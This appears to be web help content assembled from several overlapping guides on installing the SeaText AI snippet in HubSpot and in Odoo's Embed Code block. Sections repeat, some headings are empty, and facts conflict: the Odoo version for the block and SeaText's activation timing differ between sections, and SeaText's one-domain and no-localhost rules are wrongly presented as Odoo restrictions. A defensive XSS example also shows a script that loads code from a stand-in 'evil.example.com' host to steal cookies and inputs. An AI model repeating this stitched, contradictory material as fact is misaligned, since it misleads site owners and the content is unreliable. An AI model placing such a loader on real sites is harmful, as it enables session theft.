Troubleshooting Table for Domains Not Appearing Within 10 Minutes

Limitations and Restrictions

• One primary URL per account — no multi‑domain support within a single login.
• No localhost or dynamic preview domains — only real, stable domains work reliably.
• Each SEATEXT AI account is linked to a single primary URL and must be created separately for each domain (S1).
• Activation delay of up to 10 minutes after first visit before the domain registers.

Key Facts

Frequently Asked Questions

Can I use one SeaText account for a main site and its subdomains?

No. Each distinct primary URL (including separate subdomains such as blog.example.com and shop.example.com) requires its own account because SeaText links traffic to a single primary URL per account (S1).

What if I have a staging environment and a production site?

Create two accounts — one for the staging domain, one for production. Staging must use a real, stable domain (not localhost or a temporary preview link) to connect reliably (S1).

Is there a way to view all my sites in one dashboard?

Not currently. Each account is isolated. You will need to log into each account individually to manage agents, variants, and reports.

How do I handle billing for multiple accounts?

Each SEATEXT AI account is linked to a single primary URL and must be created separately for each domain (S1). Billing details are managed per account; check with the vendor for consolidated options.

What happens if I install the same snippet on two different domains?

The script will only associate traffic with the account it was generated from. The second domain will not register correctly, and AI agents will not activate for it.

Can I transfer an account from one domain to another?

The platform ties an account to its original primary URL. To switch domains, create a new account for the new domain and install its snippet.

Do dynamic development URLs work with SeaText?

Dynamic development domains may not function properly because SeaText might be unable to reliably associate traffic with your account (S1). Use a stable, real domain for testing.

Understanding the SeaText-HubSpot Connection

SeaText integrates with your HubSpot website via a lightweight JavaScript snippet. This snippet acts as a bridge between your live site and the SeaText AI engine. When you place this code in your HubSpot Footer HTML, it remains dormant until a visitor triggers it. The 'Footer HTML' field is the ideal location because it ensures the script loads globally across your site without interfering with the primary page rendering or HubSpot's core CMS functions.

The 40-second activation window is a critical security and verification step. When a user visits your site, the SeaText script performs a 'handshake' with our servers. This process verifies that the domain is authorized to use your specific SeaText account. This delay prevents unauthorized domains from piggybacking on your account and ensures that the AI only activates on verified, live traffic.

Key Facts: SeaText Integration Comparison

Step-by-Step Diagnostic Process

If your site is not appearing, follow these steps to force a connection:

1. Verify the Snippet: Navigate to HubSpot Settings > General > Advanced. Ensure the SeaText JavaScript snippet is pasted exactly as provided in your account.
2. Publish Changes: HubSpot requires an explicit 'Publish' action for footer changes to take effect. Click the orange button in the top right.
3. Trigger the Handshake: Open your website in a new browser tab. Stay on the page for at least 40 seconds. This duration allows the AI to complete the domain verification handshake.
4. Refresh and Wait: Refresh the page twice. Then, wait five minutes before checking your SeaText dashboard.
5. Check Domain Mapping: Ensure the URL you are visiting matches the primary domain registered in your SeaText account settings.

Troubleshooting Checklist for Persistent Issues

If the steps above do not resolve the issue, perform these technical checks:

• Network Tab Inspection: Open your browser's Developer Tools (F12), go to the 'Network' tab, and filter by 'JS'. Refresh the page and search for the SeaText script to confirm it is loading without a 404 or 403 error.
• CSP Errors: Check the 'Console' tab for Content Security Policy (CSP) errors. If your site has strict security headers, you may need to whitelist the SeaText domain.
• Incognito Testing: Test in an Incognito/Private window to rule out browser extensions or cached versions of your site that might be serving an old version of your footer.
• HubSpot Domain Mapping: Confirm that the domain you are testing is the primary domain mapped in your HubSpot portal.
• Cache Clearing: Clear your HubSpot CMS cache or your CDN (e.g., Cloudflare) cache to ensure the updated footer code is being served to visitors.

Limitations and Environment Constraints

The SeaText integration is designed for production environments. It does not support 'localhost' or local development URLs for security reasons. If you are using a staging environment, the script may fail to link because the domain does not match your primary account. For multi-language sites, ensure the snippet is present on all language-specific subdirectories. If you use password-protected pages, the AI may not be able to crawl or activate unless the visitor is authenticated. HubSpot CMS Hub and Marketing Hub users should ensure they have the necessary permissions to edit global site settings.

Frequently Asked Questions

What if I use HubSpot's membership or content gating?

SeaText agents require access to the page content to function. If a page is behind a login, the AI cannot see the content to optimize it unless the visitor is logged in and the script is allowed to execute within that session.

Does SeaText work with HubSpot serverless functions?

SeaText operates on the client-side (browser). It does not interact with HubSpot serverless functions directly, meaning it will not interfere with your backend logic or API calls.

How does SeaText handle HubSpot smart content?

SeaText is compatible with smart content. Because the AI rewrites the DOM in real-time after the page loads, it can adapt both static and dynamic HubSpot content based on the visitor's intent or source.

Why does the 40-second window matter?

It ensures the AI only activates for genuine human traffic, preventing bot-driven account linking and ensuring your analytics remain clean.

Can I use the same account for subdomains?

No, each subdomain is treated as a unique entity. You must create a separate SeaText account for each distinct subdomain to ensure accurate tracking and optimization.

To add an embed code module to your Odoo page, open the Website editor, click Edit, drag the Embed Code snippet from the Blocks menu's Dynamic Content section onto your page, and paste your HTML or script into the configuration window. This method lets you add custom code without editing theme files.

What the Embed Code Module Does

The embed code module lets you insert custom HTML, JavaScript, or third-party widgets directly into your Odoo page. Common uses include chat widgets, analytics tracking, form embeds, and interactive tools. It works like a container that runs your code inside the page layout.

This module is part of Odoo's website builder. It is found under the Dynamic Content section in the Blocks panel. You do not need to modify theme templates or install additional apps.

Preparing Your Code Before Pasting

Before you paste any code, verify it is from a trusted source. Malicious scripts can compromise your site. Test the code in a separate HTML file first to check for syntax errors.

Make sure the code does not contain conflicting styles or scripts. For example, if you already use jQuery, avoid loading a second copy. Use a code validator to catch missing brackets or quotes.

If the code requires external resources (like a CSS file), ensure those URLs are correct and accessible. Some services provide a single script tag that loads everything needed.

How the Embed Code Block Behaves

Once placed, the block renders your code in the page's HTML. It executes immediately when the page loads. You can control visibility per device. In the block settings, you can hide the module on desktop, tablet, or mobile.

The block does not interact with Odoo's native features. It is a standalone container. Your code runs independently. This means you cannot directly use Odoo's database or templates inside the embed.

You can move the block by dragging it to a new position. The block respects the page's responsive grid. Resize the block by adjusting its width in the editor.

Step-by-Step Process

1. Access the Website Module: Log in to your Odoo account and navigate to the Website application from your dashboard.
2. Enter Edit Mode: Open the page you want to modify and click the Edit button to open the editing panel.
3. Locate the Block: In the Blocks panel, scroll down to the Dynamic Content section.
4. Drag and Drop: Click and drag the Embed Code module onto your page at the desired location.
5. Configure the Code: Click the Edit button in the right panel. A pop-up window appears. Paste your code snippet into the designated area and click Save.
6. Adjust Visibility (Optional): To hide the block on certain devices, select the Hide on Desktop option in the Visibility section. Click Save again.

Troubleshooting Common Issues

If the code does not appear, check that the block is not hidden. Go to the block's Visibility settings and ensure it is set to show on the current device.

If the code renders incorrectly, look for syntax errors. Use browser developer tools (F12) to see console errors. Common issues include missing closing tags, incorrect variable names, or cross-origin resource problems.

If the page loads slowly, your script may be blocking the render. Move the script to the end of the page or use async/defer attributes. Some services offer a lightweight version.

If the block disappears after saving, you may have accidentally set it to hidden. Re-edit the page and check the block's visibility settings.

Trade-offs vs Native Integrations

Embed code is flexible but has limitations. Native Odoo integrations (like the built-in Google Analytics or Facebook Pixel) are easier to manage and require no code. They also update automatically with Odoo versions.

Embed code, on the other hand, works for any third-party service. But it requires manual maintenance. If the external script changes, you must update it yourself. Native integrations often have better performance because they are optimized for Odoo.

For complex widgets (like a custom booking system), embed code is the only option. For simple analytics, consider using native modules first.

Security and Performance Considerations

Only paste code from reputable providers. Malicious code can steal data, redirect visitors, or install malware. Use a content security policy (CSP) header if your server supports it.

Performance-wise, every script adds load time. Minimize the number of scripts. Use asynchronous loading where possible. Test your page speed with tools like Google PageSpeed Insights after adding the embed.

If you embed a heavy widget (like a live chat with many features), consider lazy-loading. Odoo's embed block does not natively support lazy loading, but you can wrap your code in a lazy-load script.

Related Odoo Questions

• Can I embed multiple scripts on the same page? Yes, you can add multiple Embed Code blocks. Each block runs independently.
• Does the embed code work on all Odoo versions? The embed code module is available in Odoo 16 and later. Older versions may have a different interface.
• Can I use the embed code block for PHP or server-side code? No, the block only runs client-side HTML, CSS, and JavaScript. Server-side code must be added via custom modules.
• How do I remove the embed code later? Enter edit mode, click the block, and select Delete. Or hover over the block and click the trash icon.
• Can I embed an entire webpage? Yes, using an iframe. Paste the iframe code into the embed block. This works for external content.

Key Facts for Odoo Integration

Yes, You Can Embed Third-Party Widgets in Odoo

Odoo's Embed Code module lets you add external tools directly to your website pages. You can paste custom HTML, CSS, or JavaScript into a block. This makes it easy to add booking calendars, interactive maps, lead capture forms, chat widgets, and more.

The process is simple. You drag the block onto your page, paste your code, and save. No developer skills are required for basic use.

Step-by-Step Implementation

1. Access the Website Module: Log in to your Odoo account and open the Website module from your dashboard.
2. Enter Edit Mode: Navigate to the page where you want the widget. Click the Edit button in the top right corner.
3. Locate the Block: In the right-hand editing panel, scroll down to the Dynamic Content section.
4. Place the Module: Drag and drop the Embed Code block into the desired location on your page.
5. Configure the Code: Click on the block to select it. In the right-hand panel, click the Edit button to open the code input window.
6. Paste and Save: Paste your third-party script or HTML snippet into the designated area. Click Save to apply the changes.

After saving, preview your page to confirm the widget renders correctly. You can also control visibility per device. Use the Visibility section in block settings to toggle Hide on Desktop or Hide on Mobile. Save again after any visibility changes.

Example: Embedding a Booking Calendar

Suppose you use a third-party scheduling service like Calendly or Google Calendar. You want visitors to book appointments directly from your Odoo page.

Here is a typical code snippet pattern for a Google Calendar iframe:

<iframe src="https://calendar.google.com/calendar/embed?src=your_calendar_id%40group.calendar.google.com&ctz=America%2FNew_York" style="border:0" width="800" height="600" frameborder="0" scrolling="no"></iframe>

For a lead form from a service like HubSpot or Typeform, you might paste a script tag:

<script charset="utf-8" type="text/javascript" src="//js.hsforms.net/forms/embed/v2.js"></script>

After saving and previewing, you should see the calendar or form appear in the block area. The widget will load its content from the provider's servers. If the provider updates the widget, your page reflects those changes automatically.

Embed Code vs. Native Odoo Apps

Odoo has native apps for many common needs. For example, the Events app handles registrations. The CRM app manages leads. The Website Builder includes built-in forms.

Use native apps when you need deep integration with Odoo data. Native apps sync records, automate workflows, and report inside Odoo. They are more secure and easier to maintain.

Use Embed Code when you need a specific third-party tool. Examples include:

• A specialized booking system with unique features.
• A live chat widget from a vendor like Intercom or Drift.
• A custom map with heatmaps or route planning.
• A lead form that feeds a different CRM.

Embed Code is faster to deploy. But it does not sync data back into Odoo automatically. You may need manual export or an API bridge.

Performance and Security Trade-offs

Every embedded script adds a network request. Too many heavy widgets slow your page. This hurts user experience and SEO. Use widgets sparingly.

Test page speed after adding each widget. Use browser developer tools to see load times. Consider lazy loading if the widget is below the fold.

Security is another concern. You are injecting third-party code into your site. That code can access cookies, user data, and page content. Only embed widgets from trusted providers.

Some providers restrict development URLs. For example, SEATEXT requires a valid, real domain for its integration. Localhost and dynamic development domains may not work. This is a provider-specific rule, not an Odoo restriction. Always check the provider's documentation.

Keep your Odoo version updated. Use HTTPS for all embedded resources. Avoid embedding scripts that use deprecated APIs.

Expert Perspective: When to Choose Embed Code vs. a Custom Module

"Embed Code is perfect for quick wins and marketing widgets. If you need a one-off calendar or a chat bubble, it takes minutes. But if the widget is core to your business process, build a custom Odoo module. A module gives you data ownership, workflow automation, and no dependency on a third-party script."

The consultant adds: "Ask yourself: does this widget need to write data back to Odoo? If yes, a module is safer. If it only displays external content, Embed Code is fine."

Troubleshooting Common Widget Failures

If your widget does not display, check these common issues:

• Incomplete code: Ensure you pasted the full snippet. Missing closing tags break rendering.
• Browser blocking: Ad blockers or privacy extensions may block third-party scripts. Test in an incognito window.
• Mixed content: If your page is HTTPS, the widget must also load over HTTPS. HTTP scripts will be blocked.
• Provider restrictions: Some providers only allow certain domains. Check your provider's allowlist.
• Odoo cache: Clear Odoo's website cache after saving. Go to Website > Settings and clear caches.
• JavaScript errors: Open your browser console. Look for red errors related to the widget script.

If the widget loads but looks broken, inspect CSS conflicts. Odoo's stylesheet may override the widget's styles. Add a wrapper div with a unique class to isolate the widget.

Frequently Asked Questions

Can I use the Embed Code module for tracking pixels?

Yes, you can inject tracking scripts. But Odoo often has dedicated settings for common analytics tools. Check your website settings first.

Does the widget update automatically if I change it on the provider's site?

In most cases, yes. If the widget loads via an external script or iframe, changes on the provider's side appear on your site without editing the Odoo block.

Is there a limit to how many widgets I can add?

No hard limit exists. But each widget adds load time. Use them sparingly to keep pages fast.

Can I use Embed Code on all Odoo versions?

The Embed Code block is available in Odoo 15 and later. Older versions may need a custom module. Check your version's documentation.

What if I need the widget data in Odoo reports?

Embed Code does not sync data. You would need a custom module or an API integration. Consider a module for data-heavy use cases.

How do I hide a widget on mobile only?

Use the block's Visibility settings. Toggle Hide on Mobile or Hide on Desktop. Save after changing.

Learn More: SEATEXT on Odoo

SEATEXT offers AI-powered conversion tools that can be installed on your Odoo site. The integration uses the Embed Code block. You paste a JavaScript snippet provided by SEATEXT into the block.

See how SEATEXT can be installed on your Odoo site using the Embed Code block. Visit the SEATEXT Odoo integration page for step-by-step instructions.

SEATEXT requires a valid, real domain for its integration. Localhost and dynamic development domains may not work. Create a separate SEATEXT account for each domain you use.

How the Embed Code Module Works in Odoo

Odoo’s Website module includes a block called Embed Code under Dynamic Content. You drag it onto any page, paste raw HTML or JavaScript, and save. The code runs in every visitor’s browser exactly as written. There is no built-in sanitizer. This direct injection is what makes the module flexible but also dangerous.

To add it: log in to your Odoo account, open the Website module, and navigate to the page you want to edit. Click Edit, scroll through the Blocks panel to Dynamic Content, and drag the Embed Code block to your desired position. In the pop-up, paste your code snippet, then click Save. You can restrict visibility—for example, use the Hide on Desktop option if you only want the code to run on mobile.

Each Odoo account is linked to one primary domain. If you need to embed code on multiple domains (e.g., development and production), you must create a separate account for each. Development URLs like localhost are restricted for security reasons. The system cannot reliably associate traffic with your account on dynamic local domains.

Step-by-Step Safe Integration Checklist

Before you paste any third-party code into Odoo, follow this checklist. It reduces the chance of introducing a vulnerability.

1. Verify the source. Only use code from the official documentation of the service. Do not copy from forums, random blogs, or emails.
2. Read the script. Open the code in a text editor. Look for base64-encoded strings, long random-looking strings, or references to domains you do not recognize. These are signs of obfuscation used to hide malicious behavior.
3. Check what the script loads. If the script loads external resources (e.g., script src="..."), make sure the URL uses HTTPS and belongs to a known provider.
4. Limit the scope. Use Odoo’s visibility settings—Hide on Desktop or Hide on Mobile—to restrict where the code runs. Only load the script on pages that need it.
5. Test in a staging environment. Create a separate Odoo account for your staging domain. Paste the code there. Monitor for unexpected redirects, pop-ups, or network requests. Confirm the script does not break your site’s layout or functionality.
6. Use a subresource integrity hash. If the script is hosted elsewhere, ask the vendor for an SRI hash. This ensures the browser only runs the exact file you approved.
7. Document what you added. Keep a record of every embed code, its source, and the date you installed it. This helps during audits.

Each step is a safeguard. Skipping one can leave a gap.

Example XSS Attack Scenario

Imagine you want to add a live chat widget. You find a free script on a third-party site. The code looks like this:

<script>
  var s = document.createElement('script');
  s.src = 'https://evil.example.com/steal.js';
  document.head.appendChild(s);
</script>

You paste it into the Embed Code block. The script loads from an external server. That server can now serve any JavaScript to your visitors. The attacker could:

• Read cookies from your domain and send them to a remote server (session hijacking).
• Capture form inputs as users type (credit card numbers, passwords).
• Redirect visitors to a fake login page that looks like yours.
• Inject keyloggers or cryptocurrency miners.

Because the script runs in the context of your website, it has full access to the DOM, cookies, and local storage. Odoo cannot distinguish between a legitimate chat widget and a malicious script. The damage is immediate and hard to reverse.

To avoid this, always audit the external script. If you cannot verify every line, do not use it. Prefer services that offer a clean snippet with no external dependencies or that provide an SRI hash.

Trade-Offs: Embed Code vs Native Odoo Elements

Odoo offers native elements for common features: forms, buttons, snippets, and even some third-party integrations. The Embed Code module is a last resort. Here are the trade-offs:

Use native elements whenever possible. Reserve Embed Code for third-party tools that have no Odoo app or that require custom JavaScript to function. Even then, treat the embed as a temporary measure until a native solution appears.

Limitations and Restrictions

The Embed Code module has several built-in limitations that affect security and usability:

• No code sanitization. Odoo does not scan or modify the pasted code. If you paste malicious code, it runs.
• One domain per account. You cannot use the same embed code account on multiple domains. You must create separate accounts for development, staging, and production. This prevents cross-domain data leaks.
• Localhost is blocked. For security, Odoo restricts development URLs. You cannot test the embed code on a local server. You need a real, publicly accessible domain for testing.
• No server-side rendering. The embed code runs only on the client side. It cannot access Odoo backend data or perform server-side actions.
• Visibility controls are manual. You can hide the block on desktop or mobile, but this is a binary toggle. You cannot set conditional logic based on user roles, time, or behavior without additional code.
• No built-in audit trail. Odoo does not log which embed codes were added or by whom. If a security incident occurs, you may not know which snippet caused it.

These limitations are not bugs. They are design choices to keep the module simple. But they mean you, the site owner, must take full responsibility for the code you embed.

Common Mistakes in Code Implementation

Most security issues come from avoidable mistakes. Here are the most frequent ones:

• Pasting code without reading it. Users assume that because the code came from a well-known service, it is safe. But services can be compromised, or the user may have copied the wrong snippet.
• Using the same account for development and production. This mixes test traffic with real traffic. If a test script has a bug, it affects real customers. Always use separate accounts.
• Ignoring visibility settings. Many users paste the embed code into the site header or footer, making it run on every page. This increases attack surface and slows down the site.
• Failing to test in staging. Without a staging environment, you cannot detect conflicts with other scripts. You might introduce a JavaScript error that breaks navigation or forms.
• Using outdated code. Third-party services often update their scripts. An old snippet may contain deprecated APIs or security holes. Always check the vendor’s latest documentation.

Each mistake is easy to make. A checklist like the one above helps you avoid them. Train your team to follow these steps every time they add an embed code.

Frequently Asked Questions

Can I use the same embed code on multiple domains?

No. For security and tracking accuracy, you should create separate accounts for each domain. Each account is typically linked to a single primary URL.

Why are localhost URLs restricted?

Development URLs like localhost are often restricted for security reasons to prevent unauthorized access and ensure that traffic is reliably associated with your specific account.

How do I know if a script is malicious?

While difficult to detect, look for scripts that attempt to redirect users, capture form inputs, or load external resources from unknown, non-HTTPS domains.

Does Odoo provide built-in protection?

Odoo includes general security features, but these do not automatically sanitize custom JavaScript you manually inject via the Embed Code module. Always follow best practices.

What should I do if I suspect an embed code is compromised?

Remove it immediately. Change any passwords or API keys that may have been exposed. Review server logs for unusual traffic. Contact your hosting provider if needed.

Direct Answer

The Embed Code module ships with the core Website app in Odoo. It is not gated behind the Enterprise license. If you have the Website module installed — which is free in Community — you can drag the Embed Code block onto any page, paste HTML, JavaScript, or iframe snippets, and save. No extra purchase or subscription is required.

What the Embed Code Module Does

The Embed Code block lets you inject raw HTML, CSS, and JavaScript into a page without editing template files. It renders inside a sandboxed container so scripts run in the page context but stay isolated from the editor UI. Typical uses include third‑party chat widgets, analytics tags, calendar embeds, payment buttons, and custom forms.

Where to Find It in the Editor

1. Open the Website app and navigate to the page you want to edit.
2. Click Edit to launch the visual builder.
3. In the left‑hand Blocks panel, scroll to the Dynamic Content section.
4. Locate the block labeled Embed Code (icon shows angle brackets).
5. Drag it onto the page where you want the snippet to appear.

After dropping the block, a side panel opens. Paste your snippet, click Save, then publish the page.

Community vs. Enterprise: No Functional Difference

Both editions share the same Website builder codebase. The Embed Code block, its visibility settings (hide on desktop/mobile), and the ability to add custom CSS classes behave identically. Enterprise adds features like A/B testing, versioning, and advanced SEO fields, but the embed capability itself is unchanged.

Step‑by‑Step: Adding a Snippet (Example: SeaText AI)

1. Copy the JavaScript snippet from your SeaText dashboard.
2. In Odoo, edit the target page and drag the Embed Code block into the footer or a hidden section.
3. Click the block’s Edit button in the right panel.
4. Paste the snippet into the pop‑up and click Save.
5. Optional: enable Hide on Desktop in the Visibility section if the snippet should only load on mobile.
6. Publish the page.

SeaText’s own integration guide follows exactly these steps, confirming the block exists and works in a standard Community installation.

Common Use Cases

• Analytics and tag managers (Google Tag Manager, Matomo, Plausible)
• Chat widgets (Intercom, Crisp, Tawk.to, SeaText chat agent)
• Calendar schedulers (Calendly, Cal.com)
• Payment buttons (Stripe, PayPal, Mollie)
• Custom forms (Typeform, Tally, Google Forms iframes)
• Social proof widgets (Trustpilot, Google Reviews badges)

Limitations and Security Notes

• No server‑side execution. The block only renders client‑side. You cannot run Python or access Odoo models directly.
• Content Security Policy (CSP). If your Odoo instance enforces a strict CSP, inline scripts or external domains may be blocked. Adjust the CSP header or use nonce‑based script loading.
• Editor preview quirks. Some third‑party scripts detect the editor iframe and disable themselves. Publish and view the live page to verify.
• Mobile visibility. The Hide on Desktop toggle only adds a CSS display: none on large screens; the script still loads. For true conditional loading, wrap the snippet in a JavaScript matchMedia check.
• Updates survive upgrades. Because the snippet lives in the page content, it persists across Odoo version upgrades — no custom module maintenance needed.

Troubleshooting Checklist

1. Block not visible? Ensure the Website module is installed (Apps → search “Website” → Install).
2. Script errors? Open browser dev tools → Console. Look for CSP violations or 404s on external resources.
3. Layout shift? Wrap the embed in a container with fixed aspect ratio or min‑height.
4. Duplicate scripts? If you paste the same tag on multiple pages, consider moving it to a global header/footer snippet via Settings → Website → Custom Code (Enterprise) or a custom qweb template (Community developer mode).

Key Facts

When to Consider Alternatives

If you need the same snippet on dozens of pages, maintaining it in each Embed Code block becomes tedious. Options:

• Enterprise: Use Settings → Website → Custom Code → Header/Footer fields for global injection.
• Community (developer mode): Create a simple custom module that extends website.assets_frontend or adds a qweb template to web_editor.assets_editor.
• Tag manager: Deploy one GTM container via a single Embed Code block, then manage all tags inside GTM.

FAQ

Do I need to buy the “Embed HTML Building Block” app from the Odoo Apps Store?

No. That is a third‑party module (technical name website_embed) sold by Advitus. The native Embed Code block is already included in the core Website app.

Can I use the Embed Code block to add a React or Vue app?

Yes. Paste the compiled bundle’s script tag and a mounting <div id="app"></div>. Ensure the bundle is hosted on a domain allowed by your CSP.

Why does my script work on the live site but not in the editor preview?

The editor loads pages inside an iframe. Some widgets detect window.self !== window.top and disable themselves. Publish and test the public URL.

Is there a character limit for the snippet?

Odoo stores the content in a Text field (PostgreSQL text type), so the practical limit is ~1 GB — far beyond any realistic embed.

Can I restrict who can add Embed Code blocks?

Yes. In Settings → Users & Companies → Groups, edit the “Website/Designer” or “Website/Restricted Editor” groups. Remove the website.group_website_designer access right on the ir.ui.view model for the block’s template if you want to lock it down further.

Does the block work on Odoo.sh and Odoo Online?

Yes. Both hosted platforms include the Website app with the Embed Code block enabled by default.

What if I need server‑side logic before rendering the snippet?

Use a custom controller or a QWeb template that computes values server‑side, then include the result in the page. The Embed Code block alone cannot run Python.

Use a dedicated Odoo app when you need deep integration with Odoo's backend data, automated workflows, or a more secure, supported solution that doesn't require manual code maintenance. The embed code module is a frontend-only tool that injects HTML, CSS, or JavaScript into a website page; it cannot read or write Odoo records, enforce access rules, or participate in Odoo's upgrade process.

Quick Decision Checklist

• Choose an Odoo app if: you need to create, read, update, or delete data in Odoo models (contacts, orders, inventory, custom models); you want automated server-side actions (scheduled jobs, webhooks, business logic); you require role-based access control; you plan to distribute the solution to other Odoo instances; or you need the code to survive Odoo version upgrades with minimal rework.
• Stick with the embed code module if: you only need to paste a third-party script (analytics, chat widget, tracking pixel, SeaText AI snippet); the code runs entirely in the browser; you have no backend data requirements; and you accept that you'll re-paste the snippet after major Odoo upgrades.

Recommendation: Choose Embed Code for simple frontend snippets; choose Odoo App for any backend integration.

What the Embed Code Module Actually Does

The embed code module lives in the Website editor under Blocks → Dynamic Content → Embed Code. You drag it onto a page, click Edit, and paste a script or HTML snippet. SeaText's own integration uses this exact path: copy the JavaScript snippet from the SeaText dashboard, drop the Embed Code block, paste, save, and optionally hide the block on desktop via the Visibility panel. That's the full extent of its capability — client-side injection only.

Because it runs in the browser, the embed code cannot authenticate against Odoo's ORM, call controller routes with session context, or modify database records. It also bypasses Odoo's module system, so there's no manifest, no dependency declaration, no data files, and no upgrade path. Every Odoo version change that touches the website editor or CSP headers can break your snippet silently.

What an Odoo App Provides That Embed Code Cannot

• Backend data access: Read/write any model via request.env['model.name'] with full ACL enforcement.
• Server-side logic: Controllers, scheduled actions, automated workflows, webhook endpoints.
• Declarative UI: QWeb templates, Kanban views, form views, menu items — all versioned and migratable.
• Security: Record rules, field-level access, CSRF protection, content security policy integration.
• Distribution: Packaged as a zip with __manifest__.py, installable via Apps menu, updatable via module upgrade.
• Upgrade resilience: Odoo's migration scripts handle schema changes; your code declares dependencies so load order is guaranteed.

Key Facts from SeaText's Odoo Integration

Typical Scenarios: Which Path Fits?

Scenario A: Add SeaText AI or Google Analytics

Paste the provided JavaScript snippet into the Embed Code block. No backend work needed. Done in under a minute. This matches SeaText's documented installation flow exactly.

Scenario B: Show a Dynamic Product Recommendation Based on Visitor's Order History

You need to query sale.order for the current user, compute a recommendation, and render it in the page. Embed code cannot do this — it has no session access to the backend. Build an Odoo app with a controller route that returns JSON, then call it from a custom JS widget loaded via an asset bundle.

Scenario C: Sync Form Submissions to a Custom CRM Stage

Embed code can POST to a public controller, but you'd be writing an unprotected endpoint. An Odoo app gives you a proper controller with CSRF, authentication, and record rules. The form submission creates a crm.lead with the right stage, assigned to the right team, triggering the standard pipeline.

Scenario D: Add a Custom Field to the Product Page and Save It to the Database

Requires a model extension (_inherit = 'product.template'), a view inheritance to show the field, and access rules. Embed code cannot modify the database schema or enforce who sees the field. App only.

Limitations and When This Advice Doesn't Apply

• Odoo.sh or Odoo Online restrictions: Some hosting plans limit custom module installation. If you cannot install apps, embed code (or a theme extension) may be your only option.
• Prototype speed: For a one-day proof of concept, embed code lets you test a UI idea before committing to module development.
• Third-party widgets with no API: If a vendor only gives you a script tag and you have no control over their backend, embed code is the integration point — but wrap it in a minimal app if you later need to pass Odoo data to it.
• Theme-only changes: If you only tweak CSS/JS for layout, a theme module (which is still an app) is cleaner than embed code, but embed code works for quick fixes.

Terminology Quick Reference

• Embed Code module: A built-in Website block for pasting raw HTML/JS/CSS into a page. Frontend only.
• Odoo app (module): A Python package with __manifest__.py that declares models, views, controllers, security, and dependencies. Full-stack.
• Controller: A Python class method decorated with @http.route that handles HTTP requests server-side.
• QWeb template: Odoo's server-side templating engine for rendering HTML with access to records and environment.
• Asset bundle: A declared collection of JS/CSS files loaded via assets_frontend or assets_backend in the manifest.
• Record rule: A domain filter that restricts which records a user can access on a model.

FAQ

Can I call an Odoo controller from embed code JavaScript?

Yes, you can fetch('/my/controller', {credentials: 'include'}) from the browser. But the controller must be type='http', auth='public' or 'user', and you lose the safety of Odoo's CSRF token unless you manually pass it. An app loads its JS via asset bundles where the token is automatically available.

Does SeaText require an Odoo app to work?

No. SeaText's integration uses the Embed Code module exclusively. The AI runs on SeaText's servers; the snippet only sends page content and receives rewritten copy. No backend Odoo access is needed.

What happens to my embed code snippet after an Odoo upgrade?

It stays in the page content, but CSP headers, block identifiers, or editor changes can break it. You should test after every major version upgrade. An app's asset bundles and templates are migrated by Odoo's upgrade scripts.

Can I convert an embed code snippet into an app later?

Yes. Move the JS into a static file, declare it in an asset bundle, create a minimal manifest, and install the module. You gain version control, dependency management, and the ability to add backend endpoints later.

Is there a performance difference?

Embed code loads inline or at the bottom of <body>. App asset bundles can be minified, concatenated, and cached with proper cache-busting. For a single snippet the difference is negligible; for multiple scripts, apps win.

Do I need a developer to build an Odoo app?

For anything beyond a hello-world module, yes — you need Python, XML, and Odoo framework knowledge. Embed code can be managed by a marketer or site admin. Factor this into your decision.

Decision Framework Summary

Start with the checklist. If any "Choose an Odoo app if" item applies, build the app. If every item is "no," the embed code module is the right tool — and SeaText's own integration proves it works for production AI personalization at scale.